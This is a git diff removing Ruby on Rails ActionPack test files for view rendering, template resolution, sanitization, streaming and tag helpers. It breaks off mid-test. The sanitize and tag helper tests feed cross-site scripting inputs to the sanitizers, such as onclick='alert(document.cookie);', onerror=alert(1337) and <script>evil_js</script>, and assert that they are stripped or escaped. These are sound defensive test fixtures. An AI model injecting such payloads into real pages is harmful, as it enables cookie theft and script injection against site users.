- def test_render_partial_collection
- assert_equal "Hello: davidHello: mary", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ])
- end
-
- def test_render_partial_collection_as_by_string
- assert_equal "david david davidmary mary mary",
- @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => 'customer')
- end
-
- def test_render_partial_collection_as_by_symbol
- assert_equal "david david davidmary mary mary",
- @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer)
- end
-
- def test_render_partial_collection_without_as
- assert_equal "local_inspector,local_inspector_counter",
- @view.render(:partial => "test/local_inspector", :collection => [ Customer.new("mary") ])
- end
-
- def test_render_partial_with_empty_collection_should_return_nil
- assert_nil @view.render(:partial => "test/customer", :collection => [])
- end
-
- def test_render_partial_with_nil_collection_should_return_nil
- assert_nil @view.render(:partial => "test/customer", :collection => nil)
- end
-
- def test_render_partial_with_nil_values_in_collection
- assert_equal "Hello: davidHello: Anonymous", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), nil ])
- end
-
- def test_render_partial_with_layout_using_collection_and_template
- assert_equal "<b>Hello: Amazon</b><b>Hello: Yahoo</b>", @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
- end
-
- def test_render_partial_with_layout_using_collection_and_template_makes_current_item_available_in_layout
- assert_equal '<b class="amazon">Hello: Amazon</b><b class="yahoo">Hello: Yahoo</b>',
- @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
- end
-
- def test_render_partial_with_layout_using_collection_and_template_makes_current_item_counter_available_in_layout
- assert_equal '<b data-counter="0">Hello: Amazon</b><b data-counter="1">Hello: Yahoo</b>',
- @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object_counter', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
- end
-
- def test_render_partial_with_layout_using_object_and_template_makes_object_available_in_layout
- assert_equal '<b class="amazon">Hello: Amazon</b>',
- @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object', :object => Customer.new("Amazon"))
- end
-
- def test_render_partial_with_empty_array_should_return_nil
- assert_nil @view.render(:partial => [])
- end
-
- def test_render_partial_using_string
- assert_equal "Hello: Anonymous", @controller_view.render('customer')
- end
-
- def test_render_partial_with_locals_using_string
- assert_equal "Hola: david", @controller_view.render('customer_greeting', :greeting => 'Hola', :customer_greeting => Customer.new("david"))
- end
-
- def test_render_partial_using_object
- assert_equal "Hello: lifo",
- @controller_view.render(Customer.new("lifo"), :greeting => "Hello")
- end
-
- def test_render_partial_using_collection
- customers = [ Customer.new("Amazon"), Customer.new("Yahoo") ]
- assert_equal "Hello: AmazonHello: Yahoo",
- @controller_view.render(customers, :greeting => "Hello")
- end
-
- # TODO: The reason for this test is unclear, improve documentation
- def test_render_partial_and_fallback_to_layout
- assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" })
- end
-
- # TODO: The reason for this test is unclear, improve documentation
- def test_render_missing_xml_partial_and_raise_missing_template
- @view.formats = [:xml]
- assert_raises(ActionView::MissingTemplate) { @view.render(:partial => "test/layout_for_partial") }
- ensure
- @view.formats = nil
- end
-
- def test_render_layout_with_block_and_other_partial_inside
- render = @view.render(:layout => "test/layout_with_partial_and_yield") { "Yield!" }
- assert_equal "Before\npartial html\nYield!\nAfter\n", render
- end
-
- def test_render_inline
- assert_equal "Hello, World!", @view.render(:inline => "Hello, World!")
- end
-
- def test_render_inline_with_locals
- assert_equal "Hello, Josh!", @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" })
- end
-
- def test_render_fallbacks_to_erb_for_unknown_types
- assert_equal "Hello, World!", @view.render(:inline => "Hello, World!", :type => :bar)
- end
-
- CustomHandler = lambda do |template|
- "@output_buffer = ''\n" +
- "@output_buffer << 'source: #{template.source.inspect}'\n"
- end
-
- def test_render_inline_with_render_from_to_proc
- ActionView::Template.register_template_handler :ruby_handler, :source.to_proc
- assert_equal '3', @view.render(:inline => "(1 + 2).to_s", :type => :ruby_handler)
- end
-
- def test_render_inline_with_compilable_custom_type
- ActionView::Template.register_template_handler :foo, CustomHandler
- assert_equal 'source: "Hello, World!"', @view.render(:inline => "Hello, World!", :type => :foo)
- end
-
- def test_render_inline_with_locals_and_compilable_custom_type
- ActionView::Template.register_template_handler :foo, CustomHandler
- assert_equal 'source: "Hello, <%= name %>!"', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo)
- end
-
- def test_render_knows_about_types_registered_when_extensions_are_checked_earlier_in_initialization
- ActionView::Template::Handlers.extensions
- ActionView::Template.register_template_handler :foo, CustomHandler
- assert ActionView::Template::Handlers.extensions.include?(:foo)
- end
-
- def test_render_ignores_templates_with_malformed_template_handlers
- ActiveSupport::Deprecation.silence do
- %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
- assert_raises(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
- end
- end
- end
-
- def test_render_with_layout
- assert_equal %(<title></title>\nHello world!\n),
- @view.render(:file => "test/hello_world", :layout => "layouts/yield")
- end
-
- def test_render_with_layout_which_has_render_inline
- assert_equal %(welcome\nHello world!\n),
- @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside")
- end
-
- def test_render_with_layout_which_renders_another_partial
- assert_equal %(partial html\nHello world!\n),
- @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside")
- end
-
- def test_render_layout_with_block_and_yield
- assert_equal %(Content from block!\n),
- @view.render(:layout => "layouts/yield_only") { "Content from block!" }
- end
-
- def test_render_layout_with_block_and_yield_with_params
- assert_equal %(Yield! Content from block!\n),
- @view.render(:layout => "layouts/yield_with_params") { |param| "#{param} Content from block!" }
- end
-
- def test_render_layout_with_block_which_renders_another_partial_and_yields
- assert_equal %(partial html\nContent from block!\n),
- @view.render(:layout => "layouts/partial_and_yield") { "Content from block!" }
- end
-
- def test_render_partial_and_layout_without_block_with_locals
- assert_equal %(Before (Foo!)\npartial html\nAfter),
- @view.render(:partial => 'test/partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
- end
-
- def test_render_partial_and_layout_without_block_with_locals_and_rendering_another_partial
- assert_equal %(Before (Foo!)\npartial html\npartial with partial\n\nAfter),
- @view.render(:partial => 'test/partial_with_partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
- end
-
- def test_render_layout_with_a_nested_render_layout_call
- assert_equal %(Before (Foo!)\nBefore (Bar!)\npartial html\nAfter\npartial with layout\n\nAfter),
- @view.render(:partial => 'test/partial_with_layout', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
- end
-
- def test_render_layout_with_a_nested_render_layout_call_using_block_with_render_partial
- assert_equal %(Before (Foo!)\nBefore (Bar!)\n\n partial html\n\nAfterpartial with layout\n\nAfter),
- @view.render(:partial => 'test/partial_with_layout_block_partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
- end
-
- def test_render_layout_with_a_nested_render_layout_call_using_block_with_render_content
- assert_equal %(Before (Foo!)\nBefore (Bar!)\n\n Content from inside layout!\n\nAfterpartial with layout\n\nAfter),
- @view.render(:partial => 'test/partial_with_layout_block_content', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
- end
-
- def test_render_partial_with_layout_raises_descriptive_error
- e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: 'test/partial', layout: true) }
- assert_match "Missing partial /true with", e.message
- end
-
- def test_render_with_nested_layout
- assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
- @view.render(:file => "test/nested_layout", :layout => "layouts/yield")
- end
-
- def test_render_with_file_in_layout
- assert_equal %(\n<title>title</title>\n\n),
- @view.render(:file => "test/layout_render_file")
- end
-
- def test_render_layout_with_object
- assert_equal %(<title>David</title>),
- @view.render(:file => "test/layout_render_object")
- end
-
- def test_render_with_passing_couple_extensions_to_one_register_template_handler_function_call
- ActionView::Template.register_template_handler :foo1, :foo2, CustomHandler
- assert_equal @view.render(:inline => "Hello, World!", :type => :foo1), @view.render(:inline => "Hello, World!", :type => :foo2)
- end
-
- def test_render_throws_exception_when_no_extensions_passed_to_register_template_handler_function_call
- assert_raises(ArgumentError) { ActionView::Template.register_template_handler CustomHandler }
- end
-end
-
-class CachedViewRenderTest < ActiveSupport::TestCase
- include RenderTestCases
-
- # Ensure view path cache is primed
- def setup
- view_paths = ActionController::Base.view_paths
- assert_equal ActionView::OptimizedFileSystemResolver, view_paths.first.class
- setup_view(view_paths)
- end
-
- def teardown
- GC.start
- end
-end
-
-class LazyViewRenderTest < ActiveSupport::TestCase
- include RenderTestCases
-
- # Test the same thing as above, but make sure the view path
- # is not eager loaded
- def setup
- path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
- view_paths = ActionView::PathSet.new([path])
- assert_equal ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH), view_paths.first
- setup_view(view_paths)
- end
-
- def teardown
- GC.start
- end
-
- def test_render_utf8_template_with_magic_comment
- with_external_encoding Encoding::ASCII_8BIT do
- result = @view.render(:file => "test/utf8_magic", :formats => [:html], :layouts => "layouts/yield")
- assert_equal Encoding::UTF_8, result.encoding
- assert_equal "\nРуÑÑкий \nтекÑÑ‚\n\nUTF-8\nUTF-8\nUTF-8\n", result
- end
- end
-
- def test_render_utf8_template_with_default_external_encoding
- with_external_encoding Encoding::UTF_8 do
- result = @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield")
- assert_equal Encoding::UTF_8, result.encoding
- assert_equal "РуÑÑкий текÑÑ‚\n\nUTF-8\nUTF-8\nUTF-8\n", result
- end
- end
-
- def test_render_utf8_template_with_incompatible_external_encoding
- with_external_encoding Encoding::SHIFT_JIS do
- e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield") }
- assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message
- end
- end
-
- def test_render_utf8_template_with_partial_with_incompatible_encoding
- with_external_encoding Encoding::SHIFT_JIS do
- e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8_magic_with_bare_partial", :formats => [:html], :layouts => "layouts/yield") }
- assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message
- end
- end
-
- def with_external_encoding(encoding)
- old = Encoding.default_external
- silence_warnings { Encoding.default_external = encoding }
- yield
- ensure
- silence_warnings { Encoding.default_external = old }
- end
-end
diff --git a/actionpack/test/template/resolver_patterns_test.rb b/actionpack/test/template/resolver_patterns_test.rb
deleted file mode 100644
index 97b1bad055..0000000000
--- a/actionpack/test/template/resolver_patterns_test.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-require 'abstract_unit'
-
-class ResolverPatternsTest < ActiveSupport::TestCase
- def setup
- path = File.expand_path("../../fixtures/", __FILE__)
- pattern = ":prefix/{:formats/,}:action{.:formats,}{.:handlers,}"
- @resolver = ActionView::FileSystemResolver.new(path, pattern)
- end
-
- def test_should_return_empty_list_for_unknown_path
- templates = @resolver.find_all("unknown", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
- assert_equal [], templates, "expected an empty list of templates"
- end
-
- def test_should_return_template_for_declared_path
- templates = @resolver.find_all("path", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
- assert_equal 1, templates.size, "expected one template"
- assert_equal "Hello custom patterns!", templates.first.source
- assert_equal "custom_pattern/path", templates.first.virtual_path
- assert_equal [:html], templates.first.formats
- end
-
- def test_should_return_all_templates_when_ambigous_pattern
- templates = @resolver.find_all("another", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
- assert_equal 2, templates.size, "expected two templates"
- assert_equal "Another template!", templates[0].source
- assert_equal "custom_pattern/another", templates[0].virtual_path
- assert_equal "Hello custom patterns!", templates[1].source
- assert_equal "custom_pattern/another", templates[1].virtual_path
- end
-end
diff --git a/actionpack/test/template/sanitize_helper_test.rb b/actionpack/test/template/sanitize_helper_test.rb
deleted file mode 100644
index 12d5260a9d..0000000000
--- a/actionpack/test/template/sanitize_helper_test.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-require 'abstract_unit'
-
-# The exhaustive tests are in test/controller/html/sanitizer_test.rb.
-# This tests the that the helpers hook up correctly to the sanitizer classes.
-class SanitizeHelperTest < ActionView::TestCase
- tests ActionView::Helpers::SanitizeHelper
-
- def test_strip_links
- assert_equal "Dont touch me", strip_links("Dont touch me")
- assert_equal "<a<a", strip_links("<a<a")
- assert_equal "on my mind\nall day long", strip_links("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
- assert_equal "0wn3d", strip_links("<a href='http://www.rubyonrails.com/'><a href='http://www.rubyonrails.com/' onlclick='steal()'>0wn3d</a></a>")
- assert_equal "Magic", strip_links("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic")
- assert_equal "FrrFox", strip_links("<href onlclick='steal()'>FrrFox</a></href>")
- assert_equal "My mind\nall <b>day</b> long", strip_links("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
- assert_equal "all <b>day</b> long", strip_links("<<a>a href='hello'>all <b>day</b> long<</A>/a>")
- end
-
- def test_sanitize_form
- assert_equal '', sanitize("<form action=\"/foo/bar\" method=\"post\"><input></form>")
- end
-
- def test_should_sanitize_illegal_style_properties
- raw = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
- expected = %(display: block; width: 100%; height: 100%; background-color: black; background-image: ; background-x: center; background-y: center;)
- assert_equal expected, sanitize_css(raw)
- end
-
- def test_strip_tags
- assert_equal("<<<bad html", strip_tags("<<<bad html"))
- assert_equal("<<", strip_tags("<<<bad html>"))
- assert_equal("Dont touch me", strip_tags("Dont touch me"))
- assert_equal("This is a test.", strip_tags("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
- assert_equal("Weirdos", strip_tags("Wei<<a>a onclick='alert(document.cookie);'</a>/>rdos"))
- assert_equal("This is a test.", strip_tags("This is a test."))
- assert_equal(
- %{This is a test.\n\n\nIt no longer contains any HTML.\n}, strip_tags(
- %{<title>This is <b>a <a href="" target="_blank">test</a></b>.</title>\n\n<!-- it has a comment -->\n\n<p>It no <b>longer <strong>contains <em>any <strike>HTML</strike></em>.</strong></b></p>\n}))
- assert_equal "This has a here.", strip_tags("This has a <!-- comment --> here.")
- [nil, '', ' '].each do |blank|
- stripped = strip_tags(blank)
- assert_equal blank, stripped
- end
- assert_equal "", strip_tags("<script>")
- assert_equal "something &lt;img onerror=alert(1337)", ERB::Util.html_escape(strip_tags("something <img onerror=alert(1337)"))
- end
-
- def test_sanitize_is_marked_safe
- assert sanitize("<html><script></script></html>").html_safe?
- end
-end
diff --git a/actionpack/test/template/spec_type_test.rb b/actionpack/test/template/spec_type_test.rb
deleted file mode 100644
index 08a7bdf81d..0000000000
--- a/actionpack/test/template/spec_type_test.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-require 'abstract_unit'
-
-class ActionViewSpecTypeTest < ActiveSupport::TestCase
- def assert_view actual
- assert_equal ActionView::TestCase, actual
- end
-
- def refute_view actual
- refute_equal ActionView::TestCase, actual
- end
-
- def test_spec_type_resolves_for_matching_helper_strings
- assert_view MiniTest::Spec.spec_type("WidgetHelper")
- assert_view MiniTest::Spec.spec_type("WidgetHelperTest")
- assert_view MiniTest::Spec.spec_type("Widget Helper Test")
- # And is not case sensitive
- assert_view MiniTest::Spec.spec_type("widgethelper")
- assert_view MiniTest::Spec.spec_type("widgethelpertest")
- assert_view MiniTest::Spec.spec_type("widget helper test")
- end
-
- def test_spec_type_resolves_for_matching_view_strings
- assert_view MiniTest::Spec.spec_type("WidgetView")
- assert_view MiniTest::Spec.spec_type("WidgetViewTest")
- assert_view MiniTest::Spec.spec_type("Widget View Test")
- # And is not case sensitive
- assert_view MiniTest::Spec.spec_type("widgetview")
- assert_view MiniTest::Spec.spec_type("widgetviewtest")
- assert_view MiniTest::Spec.spec_type("widget view test")
- end
-
- def test_spec_type_wont_match_non_space_characters
- refute_view MiniTest::Spec.spec_type("Widget Helper\tTest")
- refute_view MiniTest::Spec.spec_type("Widget Helper\rTest")
- refute_view MiniTest::Spec.spec_type("Widget Helper\nTest")
- refute_view MiniTest::Spec.spec_type("Widget Helper\fTest")
- refute_view MiniTest::Spec.spec_type("Widget HelperXTest")
- end
-end
diff --git a/actionpack/test/template/streaming_render_test.rb b/actionpack/test/template/streaming_render_test.rb
deleted file mode 100644
index 520bf3a824..0000000000
--- a/actionpack/test/template/streaming_render_test.rb
+++ /dev/null
@@ -1,109 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-require 'controller/fake_models'
-
-class TestController < ActionController::Base
-end
-
-class FiberedTest < ActiveSupport::TestCase
- def setup
- view_paths = ActionController::Base.view_paths
- @assigns = { :secret => 'in the sauce', :name => nil }
- @view = ActionView::Base.new(view_paths, @assigns)
- @controller_view = TestController.new.view_context
- end
-
- def render_body(options)
- @view.view_renderer.render_body(@view, options)
- end
-
- def buffered_render(options)
- body = render_body(options)
- string = ""
- body.each do |piece|
- string << piece
- end
- string
- end
-
- def test_streaming_works
- content = []
- body = render_body(:template => "test/hello_world", :layout => "layouts/yield")
-
- body.each do |piece|
- content << piece
- end
-
- assert_equal "<title>", content[0]
- assert_equal "", content[1]
- assert_equal "</title>\n", content[2]
- assert_equal "Hello world!", content[3]
- assert_equal "\n", content[4]
- end
-
- def test_render_file
- assert_equal "Hello world!", buffered_render(:file => "test/hello_world")
- end
-
- def test_render_file_with_locals
- locals = { :secret => 'in the sauce' }
- assert_equal "The secret is in the sauce\n", buffered_render(:file => "test/render_file_with_locals", :locals => locals)
- end
-
- def test_render_partial
- assert_equal "only partial", buffered_render(:partial => "test/partial_only")
- end
-
- def test_render_inline
- assert_equal "Hello, World!", buffered_render(:inline => "Hello, World!")
- end
-
- def test_render_without_layout
- assert_equal "Hello world!", buffered_render(:template => "test/hello_world")
- end
-
- def test_render_with_layout
- assert_equal %(<title></title>\nHello world!\n),
- buffered_render(:template => "test/hello_world", :layout => "layouts/yield")
- end
-
- def test_render_with_layout_which_has_render_inline
- assert_equal %(welcome\nHello world!\n),
- buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside")
- end
-
- def test_render_with_layout_which_renders_another_partial
- assert_equal %(partial html\nHello world!\n),
- buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside")
- end
-
- def test_render_with_nested_layout
- assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
- buffered_render(:template => "test/nested_layout", :layout => "layouts/yield")
- end
-
- def test_render_with_file_in_layout
- assert_equal %(\n<title>title</title>\n\n),
- buffered_render(:template => "test/layout_render_file")
- end
-
- def test_render_with_handler_without_streaming_support
- assert_match "<p>This is grand!</p>", buffered_render(:template => "test/hello")
- end
-
- def test_render_with_streaming_multiple_yields_provide_and_content_for
- assert_equal "Yes, \nthis works\n like a charm.",
- buffered_render(:template => "test/streaming", :layout => "layouts/streaming")
- end
-
- def test_render_with_streaming_with_fake_yields_and_streaming_buster
- assert_equal "This won't look\n good.",
- buffered_render(:template => "test/streaming_buster", :layout => "layouts/streaming")
- end
-
- def test_render_with_nested_streaming_multiple_yields_provide_and_content_for
- assert_equal "?Yes, \n\nthis works\n\n? like a charm.",
- buffered_render(:template => "test/nested_streaming", :layout => "layouts/streaming")
- end
-
-end
diff --git a/actionpack/test/template/tag_helper_test.rb b/actionpack/test/template/tag_helper_test.rb
deleted file mode 100644
index 9e711c6529..0000000000
--- a/actionpack/test/template/tag_helper_test.rb
+++ /dev/null
@@ -1,130 +0,0 @@
-require 'abstract_unit'
-
-class TagHelperTest < ActionView::TestCase
- include RenderERBUtils
-
- tests ActionView::Helpers::TagHelper
-
- def test_tag
- assert_equal "<br />", tag("br")
- assert_equal "<br clear=\"left\" />", tag(:br, :clear => "left")
- assert_equal "<br>", tag("br", nil, true)
- end
-
- def test_tag_options
- str = tag("p", "class" => "show", :class => "elsewhere")
- assert_match(/class="show"/, str)
- assert_match(/class="elsewhere"/, str)
- end
-
- def test_tag_options_rejects_nil_option
- assert_equal "<p />", tag("p", :ignored => nil)
- end
-
- def test_tag_options_accepts_false_option
- assert_equal "<p value=\"false\" />", tag("p", :value => false)
- end
-
- def test_tag_options_accepts_blank_option
- assert_equal "<p included=\"\" />", tag("p", :included => '')
- end
-
- def test_tag_options_converts_boolean_option
- assert_equal '<p disabled="disabled" itemscope="itemscope" multiple="multiple" readonly="readonly" />',
- tag("p", :disabled => true, :itemscope => true, :multiple => true, :readonly => true)
- end
-
- def test_content_tag
- assert_equal "<a href=\"create\">Create</a>", content_tag("a", "Create", "href" => "create")
- assert content_tag("a", "Create", "href" => "create").html_safe?
- assert_equal content_tag("a", "Create", "href" => "create"),
- content_tag("a", "Create", :href => "create")
- assert_equal "<p>&lt;script&gt;evil_js&lt;/script&gt;</p>",
- content_tag(:p, '<script>evil_js</script>')
- assert_equal "<p><script>evil_js</script></p>",
- content_tag(:p, '<script>evil_js</script>', nil, false)
- end
-
- def test_content_tag_with_block_in_erb
- buffer = render_erb("<%= content_tag(:div) do %>Hello world!<% end %>")
- assert_dom_equal "<div>Hello world!</div>", buffer
- end
-
- def test_content_tag_with_block_and_options_in_erb
- buffer = render_erb("<%= content_tag(:div, :class => 'green') do %>Hello world!<% end %>")
- assert_dom_equal %(<div class="green">Hello world!</div>), buffer
- end
-
- def test_content_tag_with_block_and_options_out_of_erb
- assert_dom_equal %(<div class="green">Hello world!</div>), content_tag(:div, :class => "green") { "Hello world!" }
- end
-
- def test_content_tag_with_block_and_options_outside_out_of_erb
- assert_equal content_tag("a", "Create", :href => "create"),
- content_tag("a", "href" => "create") { "Create" }
- end
-
- def test_content_tag_nested_in_content_tag_out_of_erb
- assert_equal content_tag("p", content_tag("b", "Hello")),
- content_tag("p") { content_tag("b", "Hello") },
- output_buffer
- end
-
- def test_content_tag_nested_in_content_tag_in_erb
- assert_equal "<p>\n <b>Hello</b>\n</p>", view.render("test/content_tag_nested_in_content_tag")
- end
-
- def test_content_tag_with_escaped_array_class
- str = content_tag('p', "limelight", :class => ["song", "play>"])
- assert_equal "<p class=\"song play&gt;\">limelight</p>", str
-
- str = content_tag('p', "limelight", :class => ["song", "play"])
- assert_equal "<p class=\"song play\">limelight</p>", str
- end
-
- def test_content_tag_with_unescaped_array_class
- str = content_tag('p', "limelight", {:class => ["song", "play>"]}, false)
- assert_equal "<p class=\"song play>\">limelight</p>", str
- end
-
- def test_content_tag_with_data_attributes
- assert_dom_equal '<p data-number="1" data-string="hello" data-string-with-quotes="double&quot;quote&quot;party&quot;">limelight</p>',
- content_tag('p', "limelight", data: { number: 1, string: 'hello', string_with_quotes: 'double"quote"party"' })
- end
-
- def test_cdata_section
- assert_equal "<![CDATA[<hello world>]]>", cdata_section("<hello world>")
- end
-
- def test_cdata_section_splitted
- assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]>", cdata_section("hello]]>world")
- assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]]]><![CDATA[>again]]>", cdata_section("hello]]>world]]>again")
- end
-
- def test_escape_once
- assert_equal '1 &lt; 2 &amp; 3', escape_once('1 < 2 &amp; 3')
- end
-
- def test_tag_honors_html_safe_for_param_values
- ['1&amp;2', '1 &lt; 2', '&#8220;test&#8220;'].each do |escaped|
- assert_equal %(<a href="#{escaped}" />), tag('a', :href => escaped.html_safe)
- end
- end
-
- def test_skip_invalid_escaped_attributes
- ['&1;', '&#1dfa3;', '& #123;'].each do |escaped|
- assert_equal %(<a href="#{escaped.gsub(/&/, '&amp;')}" />), tag('a', :href => escaped)
- end
- end
-
- def test_disable_escaping
- assert_equal '<a href="&amp;" />', tag('a', { :href => '&amp;' }, false, false)
- end
-
- def test_data_attributes
- ['data', :data].each { |data|
- assert_dom_equal '<a data-a-float="3.14" data-a-big-decimal="-123.456" data-a-number="1" data-array="[1,2,3]" data-hash="{&quot;key&quot;:&quot;value&quot;}" data-string-with-quotes="double&quot;quote&quot;party&quot;" data-string="hello" data-symbol="foo" />',
- tag('a', { data => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: 'hello', symbol: :foo, array: [1, 2, 3], hash: { key: 'value'}, string_with_quotes: 'double"quote"party"' } })
- }
- end
-end
diff --git a/actionpack/test/template/template_error_test.rb b/actionpack/test/template/template_error_test.rb
deleted file mode 100644
index 91424daeed..0000000000
--- a/actionpack/test/template/template_error_test.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require "abstract_unit"
-
-class TemplateErrorTest < ActiveSupport::TestCase
- def test_provides_original_message
- error = ActionView::Template::Error.new("test", Exception.new("original"))
- assert_equal "original", error.message
- end
-
- def test_provides_useful_inspect
- error = ActionView::Template::Error.new("test", Exception.new("original"))
- assert_equal "#<ActionView::Template::Error: original>", error.inspect
- end
-end
diff --git a/actionpack/test/template/template_test.rb b/actionpack/test/template/template_test.rb
deleted file mode 100644
index 8d32205fb8..0000000000
--- a/actionpack/test/template/template_test.rb
+++ /dev/null
@@ -1,207 +0,0 @@
-# encoding: US-ASCII
-require "abstract_unit"
-require "logger"
-
-class TestERBTemplate < ActiveSupport::TestCase
- ERBHandler = ActionView::Template::Handlers::ERB.new
-
- class LookupContext
- def disable_cache
- yield
- end
-
- def find_template(*args)
- end
-
- attr_accessor :formats
- end
-
- class Context
- def initialize
- @output_buffer = "original"
- @virtual_path = nil
- end
-
- def hello
- "Hello"
- end
-
- def apostrophe
- "l'apostrophe"
- end
-
- def partial
- ActionView::Template.new(
- "<%= @virtual_path %>",
- "partial",
- ERBHandler,
- :virtual_path => "partial"
- )
- end
-
- def lookup_context
- @lookup_context ||= LookupContext.new
- end
-
- def logger
- ActiveSupport::Logger.new(STDERR)
- end
-
- def my_buffer
- @output_buffer
- end
- end
-
- def new_template(body = "<%= hello %>", details = { format: :html })
- ActionView::Template.new(body, "hello template", details.fetch(:handler) { ERBHandler }, {:virtual_path => "hello"}.merge!(details))
- end
-
- def render(locals = {})
- @template.render(@context, locals)
- end
-
- def setup
- @context = Context.new
- end
-
- def test_mime_type_is_deprecated
- template = new_template
- assert_deprecated 'Template#mime_type is deprecated and will be removed' do
- template.mime_type
- end
- end
-
- def test_basic_template
- @template = new_template
- assert_equal "Hello", render
- end
-
- def test_basic_template_does_html_escape
- @template = new_template("<%= apostrophe %>")
- assert_equal "l&#39;apostrophe", render
- end
-
- def test_text_template_does_not_html_escape
- @template = new_template("<%= apostrophe %> <%== apostrophe %>", format: :text)
- assert_equal "l'apostrophe l'apostrophe", render
- end
-
- def test_raw_template
- @template = new_template("<%= hello %>", :handler => ActionView::Template::Handlers::Raw.new)
- assert_equal "<%= hello %>", render
- end
-
- def test_template_loses_its_source_after_rendering
- @template = new_template
- render
- assert_nil @template.source
- end
-
- def test_template_does_not_lose_its_source_after_rendering_if_it_does_not_have_a_virtual_path
- @template = new_template("Hello", :virtual_path => nil)
- render
- assert_equal "Hello", @template.source
- end
-
- def test_locals
- @template = new_template("<%= my_local %>")
- @template.locals = [:my_local]
- assert_equal "I am a local", render(:my_local => "I am a local")
- end
-
- def test_restores_buffer
- @template = new_template
- assert_equal "Hello", render
- assert_equal "original", @context.my_buffer
- end
-
- def test_virtual_path
- @template = new_template("<%= @virtual_path %>" \
- "<%= partial.render(self, {}) %>" \
- "<%= @virtual_path %>")
- assert_equal "hellopartialhello", render
- end
-
- def test_refresh_with_templates
- @template = new_template("Hello", :virtual_path => "test/foo/bar")
- @template.locals = [:key]
- @context.lookup_context.expects(:find_template).with("bar", %w(test/foo), false, [:key]).returns("template")
- assert_equal "template", @template.refresh(@context)
- end
-
- def test_refresh_with_partials
- @template = new_template("Hello", :virtual_path => "test/_foo")
- @template.locals = [:key]
- @context.lookup_context.expects(:find_template).with("foo", %w(test), true, [:key]).returns("partial")
- assert_equal "partial", @template.refresh(@context)
- end
-
- def test_refresh_raises_an_error_without_virtual_path
- @template = new_template("Hello", :virtual_path => nil)
- assert_raise RuntimeError do
- @template.refresh(@context)
- end
- end
-
- def test_resulting_string_is_utf8
- @template = new_template
- assert_equal Encoding::UTF_8, render.encoding
- end
-
- def test_no_magic_comment_word_with_utf_8
- @template = new_template("hello \u{fc}mlat")
- assert_equal Encoding::UTF_8, render.encoding
- assert_equal "hello \u{fc}mlat", render
- end
-
- # This test ensures that if the default_external
- # is set to something other than UTF-8, we don't
- # get any errors and get back a UTF-8 String.
- def test_default_external_works
- with_external_encoding "ISO-8859-1" do
- @template = new_template("hello \xFCmlat")
- assert_equal Encoding::UTF_8, render.encoding
- assert_equal "hello \u{fc}mlat", render
- end
- end
-
- def test_encoding_can_be_specified_with_magic_comment
- @template = new_template("# encoding: ISO-8859-1\nhello \xFCmlat")
- assert_equal Encoding::UTF_8, render.encoding
- assert_equal "\nhello \u{fc}mlat", render
- end
-
- # TODO: This is currently handled inside ERB. The case of explicitly
- # lying about encodings via the normal Rails API should be handled
- # inside Rails.
- def test_lying_with_magic_comment
- assert_raises(ActionView::Template::Error) do
- @template = new_template("# encoding: UTF-8\nhello \xFCmlat", :virtual_path => nil)
- render
- end
- end
-
- def test_encoding_can_be_specified_with_magic_comment_in_erb
- with_external_encoding Encoding::UTF_8 do
